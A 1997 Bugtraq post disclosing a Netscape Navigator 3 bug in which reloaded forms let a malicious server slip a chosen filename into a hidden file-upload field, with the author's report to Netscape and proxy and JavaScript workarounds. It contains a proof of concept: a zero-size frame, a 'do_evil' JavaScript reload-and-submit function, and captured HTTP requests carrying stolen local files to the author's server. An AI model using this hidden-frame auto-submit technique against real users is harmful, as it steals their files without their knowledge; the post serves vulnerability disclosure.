Re: Netscape Exploit SOLVED

Paul T. Kooros (kooros@TITAN.SRRB.NOAA.GOV)
Mon, 16 Jun 1997 12:02:18 -0600

Dear Bugtraq:
Below, is what I sent to Netscape, and mainly exploits a bug
in how Netscape repopulates form data should you reload (or go back in
history to) a form which you previously filled in. As a security measure,
<INPUT TYPE="FILE" ...> have never been initializable via a VALUE= attribute
or using JavaScript. As a convenience measure, Netscape tries to remember
what you had typed into a form previously, and repopulate it if you should
press reload or go back in your browser history. The bug manifests itself
when you reload a form, but change slightly the form contents.
The form below, in the frame TopFrame, has two elements in advance
of <INPUT TYPE="FILE" ...>, a HIDDEN and a TEXT. The TEXT is wickedly
initialized with the secret evil filename. When the form is reloaded,
the server (via a CGI script, for example) generates a slightly different
form, minus only the HIDDEN element.
Netscape mistakenly fills in the FILE field with what was in the TEXT box.
The form is then submitted using JavaScript.
You might note that the user sees only the bottom frame, containing
the history of shoelaces or whatever, while unbeknownst to him in a 0-size
frame, the form is loading, reloading, submitting and uploading.
You should note, of course, that file access is with the premissions
of the user only, not with root or any other more intrusive privs.
Testing Notes: To see what is happening in the top frame,
just change "0,*" to "400,*" or something in the FRAMESET tag.
I'll try to come up with a CGI script which automates the form change.
Increase the timeout in the onLoad attrib to get more time to make the
change.
barb@labyrinth.com suggested that the form might be generated
entirely using JavaScript, with the script loading the frame; I'll try it
out, but I think the reload (document.history.go(0)) won't work.

Workarounds:
------------
(1) Filter at proxy server, if you have one. Netscape proxy server v.2.5.2
has a filter on MIME type feature. You can filter the MIME type required
by the <INPUT TYPE=FILE...>, which is multipart/form-data. Unfortunately,
<I T=FILE> s are used by a couple of web-based Usenet News posting
systems, which could pose an inconvenience. This is the only solution
I can think of which involves the administrator and does NOT involve
individual users. To do this, from the admin screen go to filters,
MIME filters. The multipart/form-data is not one of the standard
choosable from the list, but at the top of the page, you can type in
whatever MIME type you like; do that. I'll try to come up with a
patch to the CERN proxy server which does the same thing.
(2) Turn off JavaScript in Netscape. The pop-up dialog box
Options >> Network >> Languages has a checkbox which allows the
user to disable JavaScript. Java is not implicated in this problem.
This also depends on every user :-( . If your company has the Enterprise
browser customize kit, and you have central serving of your browser
executables, you can modify instances of shared executables to force
that Options >> Network >> Languages JavaScript checkbox to be fixed
off and read-only.
(3) One suggested workaround, setting Options >> Security >> General >>
Security Alerts >> "Submitting a Form Insecurely", to ON. This is really
very weak, because if the evil server owner has a secure server
your browser will silently and obliviously AND WITH TOTAL COMPLETE
SECURITY send your file to the evil server. Sheesh...
(4) Hope that noone figures this out before a patched Netscape can be
deployed. Considering that anyone with experience debugging web
forms knows about severe wierdnesses of this type when forms are
reloaded, it won't take a rocket scientist to figure it out, and
it probably won't take too long either. Just say no the #4.

sincerely,
Paul Kooros

P.S. Please buy my JavaScript book, ISBN 0-7615-0685-3. :-)

--------------- >8 --------------- >8 --------------- >8 ---------------
Dear Netscape:

I hope this is the bug that was reported on your website,
otherwise its new. I assume that it must be the one. I knew about
the funny form initialization migration, as a web/JavaScript developer,
but never related it to the <INPUT TYPE="FILE" ...> and evil possibilities.
In any case, if its Ok with you, I was sheepishly hoping for an
opportunity to buy the bug-buster T-shirt???
Please let me know if I can be of any assistance.

sincerely,
Paul Kooros

kooros@Kooros.COM
kooros@Colorado.EDU
kooros@titan.SRRB.NOAA.GOV
(303) 694-2999
(303) 499-7014
(303) 499-2488 fax

Bug Symptom:
------------
Malicious server can obtain any client file of known filename
Bug How-to:
-----------
(1) Server supplied obscured (zero size, scrolling=no, noresize)
frame source contains a form with an <INPUT TYPE="FILE"> element.

(2) Server supplies companion non-obscured frame, which contains an
apparently legitimate link to somewhere else.

(3) After a brief JavaScript timeout, the obscured frame is reloaded.
BUT this time, the server supplies a slightly different form
source with one fewer element before the <INPUT TYPE="FILE"...>.
This causes the initialization string from the previous element
(a <INPUT TYPE="TEXT"> in the example below) to be scooted down
into the FILE element filename box.

(4) The non-obscured frame the submits the form, either as a
JavaScript setTimeout(), or to be more sneaky, as an onClick
action of the apparently legitimate link. Thus the file is
transmitted.

Below are the sample files I used to exploit the bug, followed by the HTTP
request made by the client to my bogus debug server (port 8180). Please
note that I simulated the changed file of (3) by quickly saving out a new
copy of the obscured frame (top.html) from my editor, rather than writing
a CGI which kept state and handed out alternate versions. (The first form
element, a HIDDEN, is "commented" out).

------------------------------------------------------------------------------
:: Main HTML file first.html
------------------------------------------------------------------------------
File Upload Example

------------------------------------------------------------------------------
:: Obscured frame (1st case) top.html
------------------------------------------------------------------------------
File Upload Example


Name of the file I want:
File:
Submit:
Reset:

------------------------------------------------------------------------------
:: Obscured frame (2nd case) top.html
------------------------------------------------------------------------------
File Upload Example


Name of the file I want:
File:
Submit:
Reset:

------------------------------------------------------------------------------
:: NON-Obscured frame bottom.html
------------------------------------------------------------------------------
File Upload Example This is a link to somewhere legitimate. <SCRIPT LANGUAGE="JavaScript">
function do_evil() {
p=parent.frames[0];
f=p.document.forms[0];
p.history.go(0);
// Optional Evilness for automatic submission:
// setTimeout("parent.frames[0].document.forms[0].submit();", 1000);
}
</SCRIPT>

------------------------------------------------------------------------------
:: Resulting Output from exploiting bug on Mozilla/3.01 SunOS4.1.4 UNIX:
------------------------------------------------------------------------------
POST /bogus HTTP/1.0
Referer: file:/jaz/web/fupld/top.html
Connection: Keep-Alive
User-Agent: Mozilla/3.01 (X11; I; SunOS 4.1C sun4)
Host: kooros.kooros.COM:8180
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Content-type: multipart/form-data; boundary=---------------------------8720784031874748096916896761
Content-Length: 369

-----------------------------8720784031874748096916896761
Content-Disposition: form-data; name="Uname"

/jaz/web/fupld/foofile.x
-----------------------------8720784031874748096916896761
Content-Disposition: form-data; name="Fname"; filename="foofile.x"

This is a test file
with three lines
in it.

-----------------------------8720784031874748096916896761--

------------------------------------------------------------------------------
:: Resulting Output from exploiting bug on Mozilla/3.01 Win95:
------------------------------------------------------------------------------
POST /bogus HTTP/1.0
Referer: file://Kooros/jaz/web/fupld/top.html
Proxy-Connection: Keep-Alive
Host: kooros.kooros.COM:8180
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Content-type: multipart/form-data; boundary=---------------------------2635128057161
Content-Length: 309
User-Agent: Mozilla/3.01 (Win95; I) via proxy gateway CERN-HTTPD/3.0 libwww/2.17

-----------------------------2635128057161
Content-Disposition: form-data; name="Uname"

C:\paul\foom
-----------------------------2635128057161
Content-Disposition: form-data; name="Fname"; filename="C:\paul\foom"

This is a secret
file of two lines.

-----------------------------2635128057161--